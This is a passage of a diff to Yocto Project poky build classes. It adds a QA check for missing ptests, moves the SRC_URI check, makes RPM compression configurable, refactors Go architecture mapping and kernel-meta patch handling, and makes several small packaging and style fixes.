@@ -1348,6 +1352,61 @@ python do_qa_patch() {
if msg:
oe.qa.handle_error("patch-status", msg, d)
+ ###########################################################################
+ # Check for missing ptests
+ ###########################################################################
+ def match_line_in_files(toplevel, filename_glob, line_regex):
+ import pathlib
+ try:
+ toppath = pathlib.Path(toplevel)
+ for entry in toppath.glob(filename_glob):
+ try:
+ with open(entry, 'r', encoding='utf-8', errors='ignore') as f:
+ for line in f.readlines():
+ if re.match(line_regex, line):
+ return True
+ except FileNotFoundError:
+ # Broken symlink in source
+ pass
+ except FileNotFoundError:
+ # pathlib.Path.glob() might throw this when file/directory
+ # disappear while scanning.
+ bb.note("unimplemented-ptest: FileNotFoundError exception while scanning (disappearing file while scanning?). Check was ignored." % d.getVar('PN'))
+ pass
+ return False
+
+ srcdir = d.getVar('S')
+ if not bb.utils.contains('DISTRO_FEATURES', 'ptest', True, False, d):
+ pass
+ elif bb.data.inherits_class('ptest', d):
+ bb.note("Package %s QA: skipping unimplemented-ptest: ptest implementation detected" % d.getVar('PN'))
+ elif srcdir == d.getVar('WORKDIR'):
+ bb.note("Package %s QA: skipping unimplemented-ptest: This check is not supported for recipe with \"S = \"${WORKDIR}\"" % d.getVar('PN'))
+
+ # Detect perl Test:: based tests
+ elif os.path.exists(os.path.join(srcdir, "t")) and any(filename.endswith('.t') for filename in os.listdir(os.path.join(srcdir, 't'))):
+ oe.qa.handle_error("unimplemented-ptest", "%s: perl Test:: based tests detected" % d.getVar('PN'), d)
+
+ # Detect pytest-based tests
+ elif match_line_in_files(srcdir, "**/*.py", r'\s*(?:import\s*pytest|from\s*pytest)'):
+ oe.qa.handle_error("unimplemented-ptest", "%s: pytest-based tests detected" % d.getVar('PN'), d)
+
+ # Detect meson-based tests
+ elif os.path.exists(os.path.join(srcdir, "meson.build")) and match_line_in_files(srcdir, "**/meson.build", r'\s*test\s*\('):
+ oe.qa.handle_error("unimplemented-ptest", "%s: meson-based tests detected" % d.getVar('PN'), d)
+
+ # Detect cmake-based tests
+ elif os.path.exists(os.path.join(srcdir, "CMakeLists.txt")) and match_line_in_files(srcdir, "**/CMakeLists.txt", r'\s*(?:add_test|enable_testing)\s*\('):
+ oe.qa.handle_error("unimplemented-ptest", "%s: cmake-based tests detected" % d.getVar('PN'), d)
+
+ # Detect autotools-based·tests
+ elif os.path.exists(os.path.join(srcdir, "Makefile.in")) and (match_line_in_files(srcdir, "**/Makefile.in", r'\s*TESTS\s*\+?=') or match_line_in_files(srcdir,"**/*.at",r'.*AT_INIT')):
+ oe.qa.handle_error("unimplemented-ptest", "%s: autotools-based tests detected" % d.getVar('PN'), d)
+
+ # Last resort, detect a test directory in sources
+ elif any(filename.lower() in ["test", "tests"] for filename in os.listdir(srcdir)):
+ oe.qa.handle_error("unimplemented-ptest", "%s: test subdirectory detected" % d.getVar('PN'), d)
+
oe.qa.exit_if_errors(d)
}
@@ -1443,35 +1502,18 @@ Rerun configure task after fixing this."""
oe.qa.exit_if_errors(d)
}
-def unpack_check_src_uri(pn, d):
- import re
-
- skip = (d.getVar('INSANE_SKIP') or "").split()
- if 'src-uri-bad' in skip:
- bb.note("Recipe %s skipping qa checking: src-uri-bad" % d.getVar('PN'))
- return
-
- if "${PN}" in d.getVar("SRC_URI", False):
- oe.qa.handle_error("src-uri-bad", "%s: SRC_URI uses PN not BPN" % pn, d)
-
- for url in d.getVar("SRC_URI").split():
- # Search for github and gitlab URLs that pull unstable archives (comment for future greppers)
- if re.search(r"git(hu|la)b\.com/.+/.+/archive/.+", url) or "//codeload.github.com/" in url:
- oe.qa.handle_error("src-uri-bad", "%s: SRC_URI uses unstable GitHub/GitLab archives, convert recipe to use git protocol" % pn, d)
-
python do_qa_unpack() {
src_uri = d.getVar('SRC_URI')
s_dir = d.getVar('S')
if src_uri and not os.path.exists(s_dir):
bb.warn('%s: the directory %s (%s) pointed to by the S variable doesn\'t exist - please set S within the recipe to point to where the source has been unpacked to' % (d.getVar('PN'), d.getVar('S', False), s_dir))
-
- unpack_check_src_uri(d.getVar('PN'), d)
}
python do_recipe_qa() {
- def test_missing_metadata(d):
+ import re
+
+ def test_missing_metadata(pn, d):
fn = d.getVar("FILE")
- pn = d.getVar('BPN')
srcfile = d.getVar('SRC_URI').split()
# Check that SUMMARY is not the same as the default from bitbake.conf
if d.getVar('SUMMARY') == d.expand("${PN} version ${PV}-${PR}"):
@@ -1483,16 +1525,31 @@ python do_recipe_qa() {
else:
oe.qa.handle_error("missing-metadata", "Recipe {} in {} does not contain a HOMEPAGE. Please add an entry.".format(pn, fn), d)
- def test_missing_maintainer(d):
+ def test_missing_maintainer(pn, d):
fn = d.getVar("FILE")
- pn = d.getVar("PN")
if pn.endswith("-native") or pn.startswith("nativesdk-") or "packagegroup-" in pn or "core-image-ptest-" in pn:
return
if not d.getVar('RECIPE_MAINTAINER'):
oe.qa.handle_error("missing-maintainer", "Recipe {} in {} does not have an assigned maintainer. Please add an entry into meta/conf/distro/include/maintainers.inc.".format(pn, fn), d)
- test_missing_metadata(d)
- test_missing_maintainer(d)
+ def test_srcuri(pn, d):
+ skip = (d.getVar('INSANE_SKIP') or "").split()
+ if 'src-uri-bad' in skip:
+ bb.note("Recipe %s skipping qa checking: src-uri-bad" % pn)
+ return
+
+ if "${PN}" in d.getVar("SRC_URI", False):
+ oe.qa.handle_error("src-uri-bad", "%s: SRC_URI uses PN not BPN" % pn, d)
+
+ for url in d.getVar("SRC_URI").split():
+ # Search for github and gitlab URLs that pull unstable archives (comment for future greppers)
+ if re.search(r"git(hu|la)b\.com/.+/.+/archive/.+", url) or "//codeload.github.com/" in url:
+ oe.qa.handle_error("src-uri-bad", "%s: SRC_URI uses unstable GitHub/GitLab archives, convert recipe to use git protocol" % pn, d)
+
+ pn = d.getVar('PN')
+ test_missing_metadata(pn, d)
+ test_missing_maintainer(pn, d)
+ test_srcuri(pn, d)
oe.qa.exit_if_errors(d)
}
diff --git a/poky/meta/classes-global/package.bbclass b/poky/meta/classes-global/package.bbclass
index 7787042e21..2ad820a81f 100644
--- a/poky/meta/classes-global/package.bbclass
+++ b/poky/meta/classes-global/package.bbclass
@@ -60,7 +60,6 @@ ALL_MULTILIB_PACKAGE_ARCHS = "${@all_multilib_tune_values(d, 'PACKAGE_ARCHS')}"
# dwarfsrcfiles is used to determine the list of debug source files
PACKAGE_DEPENDS += "rpm-native dwarfsrcfiles-native"
-
# If your postinstall can execute at rootfs creation time rather than on
# target but depends on a native/cross tool in order to execute, you need to
# list that tool in PACKAGE_WRITE_DEPS. Target package dependencies belong
diff --git a/poky/meta/classes-global/package_deb.bbclass b/poky/meta/classes-global/package_deb.bbclass
index 5aba3837bd..1f10b15a00 100644
--- a/poky/meta/classes-global/package_deb.bbclass
+++ b/poky/meta/classes-global/package_deb.bbclass
@@ -313,6 +313,10 @@ python () {
deps = ' dpkg-native:do_populate_sysroot virtual/fakeroot-native:do_populate_sysroot'
d.appendVarFlag('do_package_write_deb', 'depends', deps)
d.setVarFlag('do_package_write_deb', 'fakeroot', "1")
+
+ # Needed to ensure PKG_xxx renaming of dependency packages works
+ d.setVarFlag('do_package_write_deb', 'deptask', "do_packagedata")
+ d.setVarFlag('do_package_write_deb', 'rdeptask', "do_packagedata")
}
python do_package_write_deb () {
diff --git a/poky/meta/classes-global/package_ipk.bbclass b/poky/meta/classes-global/package_ipk.bbclass
index b4b7bc9ac2..71ffdd522a 100644
--- a/poky/meta/classes-global/package_ipk.bbclass
+++ b/poky/meta/classes-global/package_ipk.bbclass
@@ -47,6 +47,10 @@ python do_package_ipk () {
do_package_ipk[vardeps] += "ipk_write_pkg"
do_package_ipk[vardepsexclude] = "BB_NUMBER_THREADS"
+# FILE isn't included by default but we want the recipe to change if basename() changes
+IPK_RECIPE_FILE = "${@os.path.basename(d.getVar('FILE'))}"
+IPK_RECIPE_FILE[vardepvalue] = "${IPK_RECIPE_FILE}"
+
def ipk_write_pkg(pkg, d):
import re, copy
import subprocess
@@ -62,7 +66,7 @@ def ipk_write_pkg(pkg, d):
outdir = d.getVar('PKGWRITEDIRIPK')
pkgdest = d.getVar('PKGDEST')
- recipesource = os.path.basename(d.getVar('FILE'))
+ recipesource = d.getVar('IPK_RECIPE_FILE')
localdata = bb.data.createCopy(d)
root = "%s/%s" % (pkgdest, pkg)
@@ -276,6 +280,10 @@ python () {
deps = ' opkg-utils-native:do_populate_sysroot virtual/fakeroot-native:do_populate_sysroot xz-native:do_populate_sysroot'
d.appendVarFlag('do_package_write_ipk', 'depends', deps)
d.setVarFlag('do_package_write_ipk', 'fakeroot', "1")
+
+ # Needed to ensure PKG_xxx renaming of dependency packages works
+ d.setVarFlag('do_package_write_ipk', 'deptask', "do_packagedata")
+ d.setVarFlag('do_package_write_ipk', 'rdeptask', "do_packagedata")
}
python do_package_write_ipk () {
diff --git a/poky/meta/classes-global/package_rpm.bbclass b/poky/meta/classes-global/package_rpm.bbclass
index 85d0bd7fce..2fc18fe98c 100644
--- a/poky/meta/classes-global/package_rpm.bbclass
+++ b/poky/meta/classes-global/package_rpm.bbclass
@@ -8,12 +8,13 @@ inherit package
IMAGE_PKGTYPE ?= "rpm"
-RPM="rpm"
-RPMBUILD="rpmbuild"
+RPM = "rpm"
+RPMBUILD = "rpmbuild"
+RPMBUILD_COMPMODE ?= "${@'w19T%d.zstdio' % int(d.getVar('ZSTD_THREADS'))}"
PKGWRITEDIRRPM = "${WORKDIR}/deploy-rpms"
-# Maintaining the perfile dependencies has singificant overhead when writing the
+# Maintaining the perfile dependencies has significant overhead when writing the
# packages. When set, this value merges them for efficiency.
MERGEPERFILEDEPS = "1"
@@ -62,8 +63,8 @@ def write_rpm_perfiledata(srcname, d):
for dep in depends_dict:
ver = depends_dict[dep]
if dep and ver:
- ver = ver.replace("(","")
- ver = ver.replace(")","")
+ ver = ver.replace("(", "")
+ ver = ver.replace(")", "")
outfile.write(dep + " " + ver + " ")
else:
outfile.write(dep + " ")
@@ -104,9 +105,9 @@ python write_specfile () {
import oe.packagedata
# append information for logs and patches to %prep
- def add_prep(d,spec_files_bottom):
+ def add_prep(d, spec_files_bottom):
if d.getVarFlag('ARCHIVER_MODE', 'srpm') == '1' and bb.data.inherits_class('archiver', d):
- spec_files_bottom.append('%%prep -n %s' % d.getVar('PN') )
+ spec_files_bottom.append('%%prep -n %s' % d.getVar('PN'))
spec_files_bottom.append('%s' % "echo \"include logs and patches, Please check them in SOURCES\"")
spec_files_bottom.append('')
@@ -119,7 +120,7 @@ python write_specfile () {
source_list = os.listdir(ar_outdir)
source_number = 0
for source in source_list:
- # do_deploy_archives may have already run (from sstate) meaning a .src.rpm may already
+ # do_deploy_archives may have already run (from sstate) meaning a .src.rpm may already
# exist in ARCHIVER_OUTDIR so skip if present.
if source.endswith(".src.rpm"):
continue
@@ -191,7 +192,7 @@ python write_specfile () {
def walk_files(walkpath, target, conffiles, dirfiles):
# We can race against the ipk/deb backends which create CONTROL or DEBIAN directories
- # when packaging. We just ignore these files which are created in
+ # when packaging. We just ignore these files which are created in
# packages-split/ and not package/
# We have the odd situation where the CONTROL/DEBIAN directory can be removed in the middle of
# of the walk, the isdir() test would then fail and the walk code would assume its a file
@@ -445,9 +446,9 @@ python write_specfile () {
rprovides = bb.utils.explode_dep_versions2(splitrprovides)
rreplaces = bb.utils.explode_dep_versions2(splitrreplaces)
for dep in rreplaces:
- if not dep in robsoletes:
+ if dep not in robsoletes:
robsoletes[dep] = rreplaces[dep]
- if not dep in rprovides:
+ if dep not in rprovides:
rprovides[dep] = rreplaces[dep]
splitrobsoletes = bb.utils.join_deps(robsoletes, commasep=False)
splitrprovides = bb.utils.join_deps(rprovides, commasep=False)
@@ -517,8 +518,8 @@ python write_specfile () {
spec_files_bottom.append('')
del localdata
-
- add_prep(d,spec_files_bottom)
+
+ add_prep(d, spec_files_bottom)
spec_preamble_top.append('Summary: %s' % srcsummary)
spec_preamble_top.append('Name: %s' % srcname)
spec_preamble_top.append('Version: %s' % srcversion)
@@ -539,9 +540,9 @@ python write_specfile () {
rprovides = bb.utils.explode_dep_versions2(srcrprovides)
rreplaces = bb.utils.explode_dep_versions2(srcrreplaces)
for dep in rreplaces:
- if not dep in robsoletes:
+ if dep not in robsoletes:
robsoletes[dep] = rreplaces[dep]
- if not dep in rprovides:
+ if dep not in rprovides:
rprovides[dep] = rreplaces[dep]
srcrobsoletes = bb.utils.join_deps(robsoletes, commasep=False)
srcrprovides = bb.utils.join_deps(rprovides, commasep=False)
@@ -633,7 +634,6 @@ python do_package_rpm () {
workdir = d.getVar('WORKDIR')
tmpdir = d.getVar('TMPDIR')
pkgd = d.getVar('PKGD')
- pkgdest = d.getVar('PKGDEST')
if not workdir or not pkgd or not tmpdir:
bb.error("Variables incorrectly set, unable to package")
return
@@ -644,7 +644,7 @@ python do_package_rpm () {
return
# Construct the spec file...
- # If the spec file already exist, and has not been stored into
+ # If the spec file already exist, and has not been stored into
# pseudo's files.db, it maybe cause rpmbuild src.rpm fail,
# so remove it before doing rpmbuild src.rpm.
srcname = d.getVar('PN')
@@ -660,8 +660,7 @@ python do_package_rpm () {
# Setup the rpmbuild arguments...
rpmbuild = d.getVar('RPMBUILD')
- targetsys = d.getVar('TARGET_SYS')
- targetvendor = d.getVar('HOST_VENDOR')
+ rpmbuild_compmode = d.getVar('RPMBUILD_COMPMODE')
# Too many places in dnf stack assume that arch-independent packages are "noarch".
# Let's not fight against this.
@@ -669,7 +668,6 @@ python do_package_rpm () {
if package_arch == "all":
package_arch = "noarch"
- sdkpkgsuffix = (d.getVar('SDKPKGSUFFIX') or "nativesdk").replace("-", "_")
d.setVar('PACKAGE_ARCH_EXTEND', package_arch)
pkgwritedir = d.expand('${PKGWRITEDIRRPM}/${PACKAGE_ARCH_EXTEND}')
d.setVar('RPM_PKGWRITEDIR', pkgwritedir)
@@ -686,8 +684,8 @@ python do_package_rpm () {
cmd = cmd + " --define '_use_internal_dependency_generator 0'"
cmd = cmd + " --define '_binaries_in_noarch_packages_terminate_build 0'"
cmd = cmd + " --define '_build_id_links none'"
- cmd = cmd + " --define '_binary_payload w19T%d.zstdio'" % int(d.getVar("ZSTD_THREADS"))
- cmd = cmd + " --define '_source_payload w19T%d.zstdio'" % int(d.getVar("ZSTD_THREADS"))
+ cmd = cmd + " --define '_source_payload %s'" % rpmbuild_compmode
+ cmd = cmd + " --define '_binary_payload %s'" % rpmbuild_compmode
cmd = cmd + " --define 'clamp_mtime_to_source_date_epoch 1'"
cmd = cmd + " --define 'use_source_date_epoch_as_buildtime 1'"
cmd = cmd + " --define '_buildhost reproducible'"
@@ -728,6 +726,10 @@ python () {
deps = ' rpm-native:do_populate_sysroot virtual/fakeroot-native:do_populate_sysroot'
d.appendVarFlag('do_package_write_rpm', 'depends', deps)
d.setVarFlag('do_package_write_rpm', 'fakeroot', '1')
+
+ # Needed to ensure PKG_xxx renaming of dependency packages works
+ d.setVarFlag('do_package_write_rpm', 'deptask', "do_packagedata")
+ d.setVarFlag('do_package_write_rpm', 'rdeptask', "do_packagedata")
}
SSTATETASKS += "do_package_write_rpm"
diff --git a/poky/meta/classes-global/sstate.bbclass b/poky/meta/classes-global/sstate.bbclass
index 2676f18e0a..5b27a1f0f9 100644
--- a/poky/meta/classes-global/sstate.bbclass
+++ b/poky/meta/classes-global/sstate.bbclass
@@ -937,6 +937,7 @@ def sstate_checkhashes(sq_data, d, siginfo=False, currentcount=0, summary=True,
sstatefile = d.expand("${SSTATE_DIR}/" + getsstatefile(tid, siginfo, d))
if os.path.exists(sstatefile):
+ oe.utils.touch(sstatefile)
found.add(tid)
bb.debug(2, "SState: Found valid sstate file %s" % sstatefile)
else:
@@ -1183,16 +1184,7 @@ python sstate_eventhandler() {
if not os.path.exists(siginfo):
bb.siggen.dump_this_task(siginfo, d)
else:
- try:
- os.utime(siginfo, None)
- except PermissionError:
- pass
- except OSError as e:
- # Handle read-only file systems gracefully
- import errno
- if e.errno != errno.EROFS:
- raise e
-
+ oe.utils.touch(siginfo)
}
SSTATE_PRUNE_OBSOLETEWORKDIR ?= "1"
diff --git a/poky/meta/classes-global/staging.bbclass b/poky/meta/classes-global/staging.bbclass
index d229f40107..cf1e4600fd 100644
--- a/poky/meta/classes-global/staging.bbclass
+++ b/poky/meta/classes-global/staging.bbclass
@@ -521,7 +521,7 @@ python extend_recipe_sysroot() {
binfiles = {}
# Now handle installs
- for dep in configuredeps:
+ for dep in sorted(configuredeps):
c = setscenedeps[dep][0]
if c not in installed:
continue
diff --git a/poky/meta/classes-global/uninative.bbclass b/poky/meta/classes-global/uninative.bbclass
index 9630726f33..9b8b4565dd 100644
--- a/poky/meta/classes-global/uninative.bbclass
+++ b/poky/meta/classes-global/uninative.bbclass
@@ -4,7 +4,7 @@
# SPDX-License-Identifier: MIT
#
-UNINATIVE_LOADER ?= "${UNINATIVE_STAGING_DIR}-uninative/${BUILD_ARCH}-linux/lib/${@bb.utils.contains('BUILD_ARCH', 'x86_64', 'ld-linux-x86-64.so.2', '', d)}${@bb.utils.contains('BUILD_ARCH', 'i686', 'ld-linux.so.2', '', d)}${@bb.utils.contains('BUILD_ARCH', 'aarch64', 'ld-linux-aarch64.so.1', '', d)}${@bb.utils.contains('BUILD_ARCH', 'ppc64le', 'ld64.so.2', '', d)}"
+UNINATIVE_LOADER ?= "${UNINATIVE_STAGING_DIR}-uninative/${BUILD_ARCH}-linux/lib/${@bb.utils.contains('BUILD_ARCH', 'x86_64', 'ld-linux-x86-64.so.2', '', d)}${@bb.utils.contains('BUILD_ARCH', 'i686', 'ld-linux.so.2', '', d)}${@bb.utils.contains('BUILD_ARCH', 'aarch64', 'ld-linux-aarch64.so.1', '', d)}${@bb.utils.contains('BUILD_ARCH', 'ppc64le', 'ld64.so.2', '', d)}${@bb.utils.contains('BUILD_ARCH', 'riscv64', 'ld-linux-riscv64-lp64d.so.1', '', d)}"
UNINATIVE_STAGING_DIR ?= "${STAGING_DIR}"
UNINATIVE_URL ?= "unset"
diff --git a/poky/meta/classes-recipe/autotools.bbclass b/poky/meta/classes-recipe/autotools.bbclass
index 5ed21a3d68..1663307b06 100644
--- a/poky/meta/classes-recipe/autotools.bbclass
+++ b/poky/meta/classes-recipe/autotools.bbclass
@@ -76,7 +76,7 @@ CONFIGUREOPTS = " --build=${BUILD_SYS} \
--localstatedir=${localstatedir} \
--libdir=${libdir} \
--includedir=${includedir} \
- --oldincludedir=${oldincludedir} \
+ --oldincludedir=${includedir} \
--infodir=${infodir} \
--mandir=${mandir} \
--disable-silent-rules \
diff --git a/poky/meta/classes-recipe/bin_package.bbclass b/poky/meta/classes-recipe/bin_package.bbclass
index 9dd2489725..3a1befc29c 100644
--- a/poky/meta/classes-recipe/bin_package.bbclass
+++ b/poky/meta/classes-recipe/bin_package.bbclass
@@ -20,9 +20,6 @@
# they would be in ${WORKDIR}.
#
-# Nothing is being built so there is no need for the cross-compiler.
-INHIBIT_DEFAULT_DEPS = "1"
-
# Skip the unwanted steps
do_configure[noexec] = "1"
do_compile[noexec] = "1"
diff --git a/poky/meta/classes-recipe/gnomebase.bbclass b/poky/meta/classes-recipe/gnomebase.bbclass
index 5e72f549a3..a12e9f31a9 100644
--- a/poky/meta/classes-recipe/gnomebase.bbclass
+++ b/poky/meta/classes-recipe/gnomebase.bbclass
@@ -27,7 +27,7 @@ FILES:${PN} += "${datadir}/application-registry \
FILES:${PN}-doc += "${datadir}/devhelp"
-GNOMEBASEBUILDCLASS ??= "autotools"
+GNOMEBASEBUILDCLASS ??= "meson"
inherit ${GNOMEBASEBUILDCLASS} pkgconfig
do_install:append() {
diff --git a/poky/meta/classes-recipe/go-mod.bbclass b/poky/meta/classes-recipe/go-mod.bbclass
index 61571596bc..ca3a690d05 100644
--- a/poky/meta/classes-recipe/go-mod.bbclass
+++ b/poky/meta/classes-recipe/go-mod.bbclass
@@ -24,3 +24,7 @@ inherit go
GO_WORKDIR ?= "${GO_IMPORT}"
do_compile[dirs] += "${B}/src/${GO_WORKDIR}"
+
+export GOMODCACHE = "${B}/.mod"
+
+do_compile[cleandirs] += "${B}/.mod"
diff --git a/poky/meta/classes-recipe/goarch.bbclass b/poky/meta/classes-recipe/goarch.bbclass
index 5fb6051bde..1ebe03864f 100644
--- a/poky/meta/classes-recipe/goarch.bbclass
+++ b/poky/meta/classes-recipe/goarch.bbclass
@@ -68,33 +68,10 @@ SECURITY_NOPIE_CFLAGS ??= ""
CCACHE_DISABLE ?= "1"
def go_map_arch(a, d):
- import re
- if re.match('i.86', a):
- return '386'
- elif a == 'x86_64':
- return 'amd64'
- elif re.match('arm.*', a):
- return 'arm'
- elif re.match('aarch64.*', a):
- return 'arm64'
- elif re.match('mips64el.*', a):
- return 'mips64le'
- elif re.match('mips64.*', a):
- return 'mips64'
- elif a == 'mips':
- return 'mips'
- elif a == 'mipsel':
- return 'mipsle'
- elif re.match('p(pc|owerpc)(64le)', a):
- return 'ppc64le'
- elif re.match('p(pc|owerpc)(64)', a):
- return 'ppc64'
- elif a == 'riscv64':
- return 'riscv64'
- elif a == 'loongarch64':
- return 'loong64'
- else:
+ arch = oe.go.map_arch(a)
+ if not arch:
raise bb.parse.SkipRecipe("Unsupported CPU architecture: %s" % a)
+ return arch
def go_map_arm(a, d):
if a.startswith("arm"):
diff --git a/poky/meta/classes-recipe/image_types.bbclass b/poky/meta/classes-recipe/image_types.bbclass
index 4aed64e27f..d615b41ed1 100644
--- a/poky/meta/classes-recipe/image_types.bbclass
+++ b/poky/meta/classes-recipe/image_types.bbclass
@@ -54,7 +54,7 @@ def imagetypes_getdepends(d):
# Sort the set so that ordering is consistant
return " ".join(sorted(deps))
-XZ_COMPRESSION_LEVEL ?= "-9"
+XZ_COMPRESSION_LEVEL ?= "-6"
XZ_INTEGRITY_CHECK ?= "crc32"
ZIP_COMPRESSION_LEVEL ?= "-9"
diff --git a/poky/meta/classes-recipe/kernel-arch.bbclass b/poky/meta/classes-recipe/kernel-arch.bbclass
index b0db99faa3..404f2e7061 100644
--- a/poky/meta/classes-recipe/kernel-arch.bbclass
+++ b/poky/meta/classes-recipe/kernel-arch.bbclass
@@ -74,8 +74,8 @@ TARGET_STRIP_KERNEL_ARCH ?= ""
HOST_STRIP_KERNEL_ARCH ?= "${TARGET_STRIP_KERNEL_ARCH}"
KERNEL_CC = "${CCACHE}${HOST_PREFIX}gcc ${HOST_CC_KERNEL_ARCH} -fuse-ld=bfd ${DEBUG_PREFIX_MAP} -fdebug-prefix-map=${STAGING_KERNEL_DIR}=${KERNEL_SRC_PATH} -fdebug-prefix-map=${STAGING_KERNEL_BUILDDIR}=${KERNEL_SRC_PATH}"
-KERNEL_LD = "${CCACHE}${HOST_PREFIX}ld.bfd ${HOST_LD_KERNEL_ARCH}"
-KERNEL_AR = "${CCACHE}${HOST_PREFIX}ar ${HOST_AR_KERNEL_ARCH}"
-KERNEL_OBJCOPY = "${CCACHE}${HOST_PREFIX}objcopy ${HOST_OBJCOPY_KERNEL_ARCH}"
-KERNEL_STRIP = "${CCACHE}${HOST_PREFIX}strip ${HOST_STRIP_KERNEL_ARCH}"
+KERNEL_LD = "${HOST_PREFIX}ld.bfd ${HOST_LD_KERNEL_ARCH}"
+KERNEL_AR = "${HOST_PREFIX}ar ${HOST_AR_KERNEL_ARCH}"
+KERNEL_OBJCOPY = "${HOST_PREFIX}objcopy ${HOST_OBJCOPY_KERNEL_ARCH}"
+KERNEL_STRIP = "${HOST_PREFIX}strip ${HOST_STRIP_KERNEL_ARCH}"
TOOLCHAIN ?= "gcc"
diff --git a/poky/meta/classes-recipe/kernel-yocto.bbclass b/poky/meta/classes-recipe/kernel-yocto.bbclass
index 4ac977b122..9a86616dad 100644
--- a/poky/meta/classes-recipe/kernel-yocto.bbclass
+++ b/poky/meta/classes-recipe/kernel-yocto.bbclass
@@ -176,12 +176,32 @@ do_kernel_metadata() {
# kernel source tree, where they'll be used later.
check_git_config
patches="${@" ".join(find_patches(d,'kernel-meta'))}"
- for p in $patches; do
+ if [ -n "$patches" ]; then
(
- cd ${WORKDIR}/kernel-meta
- git am -s $p
- )
- done
+ cd ${WORKDIR}/kernel-meta
+
+ # take the SRC_URI patches, and create a series file
+ # this is required to support some better processing
+ # of issues with the patches
+ rm -f series
+ for p in $patches; do
+ cp $p .
+ echo "$(basename $p)" >> series
+ done
+
+ # process the series with kgit-s2q, which is what is
+ # handling the rest of the kernel. This allows us
+ # more flexibility for handling failures or advanced
+ # mergeing functinoality
+ message=$(kgit-s2q --gen -v --patches ${WORKDIR}/kernel-meta 2>&1)
+ if [ $? -ne 0 ]; then
+ # setup to try the patch again
+ kgit-s2q --prev
+ bberror "Problem applying patches to: ${WORKDIR}/kernel-meta"
+ bbfatal_log "\n($message)"
+ fi
+ )
+ fi
fi
sccs_from_src_uri="${@" ".join(find_sccs(d))}"
@@ -408,7 +428,7 @@ do_kernel_checkout() {
git init
check_git_config
git add .
- git commit -q -m "baseline commit: creating repo for ${PN}-${PV}"
+ git commit -q -n -m "baseline commit: creating repo for ${PN}-${PV}"
git clean -d -f
fi
diff --git a/poky/meta/classes-recipe/kernel.bbclass b/poky/meta/classes-recipe/kernel.bbclass
index 2ec9ea2091..9ff37f5c38 100644
--- a/poky/meta/classes-recipe/kernel.bbclass
+++ b/poky/meta/classes-recipe/kernel.bbclass
@@ -111,7 +111,7 @@ python __anonymous () {
d.appendVar('RDEPENDS:%s-image' % kname, ' %s-modules (= ${EXTENDPKGV})' % kname)
d.appendVar('RDEPENDS:%s-image-%s' % (kname, typelower), ' %s-modules-${KERNEL_VERSION_PKG_NAME} (= ${EXTENDPKGV})' % kname)
d.setVar('PKG:%s-modules' % kname, '%s-modules-${KERNEL_VERSION_PKG_NAME}' % kname)
- d.appendVar('RPROVIDES:%s-modules' % kname, '%s-modules-${KERNEL_VERSION_PKG_NAME}' % kname)
+ d.appendVar('RPROVIDES:%s-modules' % kname, ' %s-modules-${KERNEL_VERSION_PKG_NAME}' % kname)
d.setVar('PKG:%s-image-%s' % (kname,typelower), '%s-image-%s-${KERNEL_VERSION_PKG_NAME}' % (kname, typelower))
d.setVar('ALLOW_EMPTY:%s-image-%s' % (kname, typelower), '1')
@@ -336,7 +336,7 @@ kernel_do_transform_bundled_initramfs() {
do_transform_bundled_initramfs[dirs] = "${B}"
python do_package:prepend () {
- os.environ['STRIP'] = d.getVar('KERNEL_STRIP')
+ d.setVar('STRIP', d.getVar('KERNEL_STRIP').strip())
}
python do_devshell:prepend () {
diff --git a/poky/meta/classes-recipe/meson.bbclass b/poky/meta/classes-recipe/meson.bbclass
index d08a83d555..a85d120d77 100644
--- a/poky/meta/classes-recipe/meson.bbclass
+++ b/poky/meta/classes-recipe/meson.bbclass
@@ -79,7 +79,7 @@ llvm-config = 'llvm-config'
cups-config = 'cups-config'
g-ir-scanner = '${STAGING_BINDIR}/g-ir-scanner-wrapper'
g-ir-compiler = '${STAGING_BINDIR}/g-ir-compiler-wrapper'
-${@rust_tool(d, "HOST_SYS")}
+${@rust_tool(d, "RUST_HOST_SYS")}
${@"exe_wrapper = '${WORKDIR}/meson-qemuwrapper'" if d.getVar('EXEWRAPPER_ENABLED') == 'True' else ""}
[built-in options]
@@ -116,7 +116,7 @@ readelf = ${@meson_array('BUILD_READELF', d)}
objcopy = ${@meson_array('BUILD_OBJCOPY', d)}
llvm-config = '${STAGING_BINDIR_NATIVE}/llvm-config'
pkgconfig = 'pkg-config-native'
-${@rust_tool(d, "BUILD_SYS")}
+${@rust_tool(d, "RUST_BUILD_SYS")}
[built-in options]
c_args = ${@meson_array('BUILD_CFLAGS', d)}
diff --git a/poky/meta/classes-recipe/populate_sdk_ext.bbclass b/poky/meta/classes-recipe/populate_sdk_ext.bbclass
index 028d0c1ff5..f209becae1 100644
--- a/poky/meta/classes-recipe/populate_sdk_ext.bbclass
+++ b/poky/meta/classes-recipe/populate_sdk_ext.bbclass
@@ -186,12 +186,7 @@ def create_filtered_tasklist(d, sdkbasepath, tasklistfile, conf_initpath):
if os.path.exists(localconf + '.bak'):
os.replace(localconf + '.bak', localconf)
-python copy_buildsystem () {
- import re
- import shutil
- import glob
- import oe.copy_buildsystem
-
+def copy_bitbake_and_layers(d, baseoutpath, derivative):
oe_init_env_script = d.getVar('OE_INIT_ENV_SCRIPT')
conf_bbpath = ''
@@ -200,13 +195,7 @@ python copy_buildsystem () {
# Copy in all metadata layers + bitbake (as repositories)
buildsystem = oe.copy_buildsystem.BuildSystem('extensible SDK', d)
- baseoutpath = d.getVar('SDK_OUTPUT') + '/' + d.getVar('SDKPATH')
- #check if custome templateconf path is set
- use_custom_templateconf = d.getVar('SDK_CUSTOM_TEMPLATECONF')
-
- # Determine if we're building a derivative extensible SDK (from devtool build-sdk)
- derivative = (d.getVar('SDK_DERIVATIVE') or '') == '1'
if derivative:
workspace_name = 'orig-workspace'
else:
@@ -220,17 +209,20 @@ python copy_buildsystem () {
if os.path.exists(os.path.join(baseoutpath, relpath)):
conf_initpath = relpath
- relpath = os.path.join('layers', path, 'scripts', 'devtool')
+ relpath = os.path.join('layers', path, 'scripts', 'esdk-tools', 'devtool')
if os.path.exists(os.path.join(baseoutpath, relpath)):
- scriptrelpath = os.path.dirname(relpath)
+ esdk_tools_path = os.path.dirname(relpath)
relpath = os.path.join('layers', path, 'meta')
if os.path.exists(os.path.join(baseoutpath, relpath, 'lib', 'oe')):
core_meta_subdir = relpath
d.setVar('oe_init_build_env_path', conf_initpath)
- d.setVar('scriptrelpath', scriptrelpath)
+ d.setVar('esdk_tools_path', esdk_tools_path)
+ return (conf_initpath, conf_bbpath, core_meta_subdir, sdkbblayers)
+
+def write_devtool_config(d, baseoutpath, conf_bbpath, conf_initpath, core_meta_subdir):
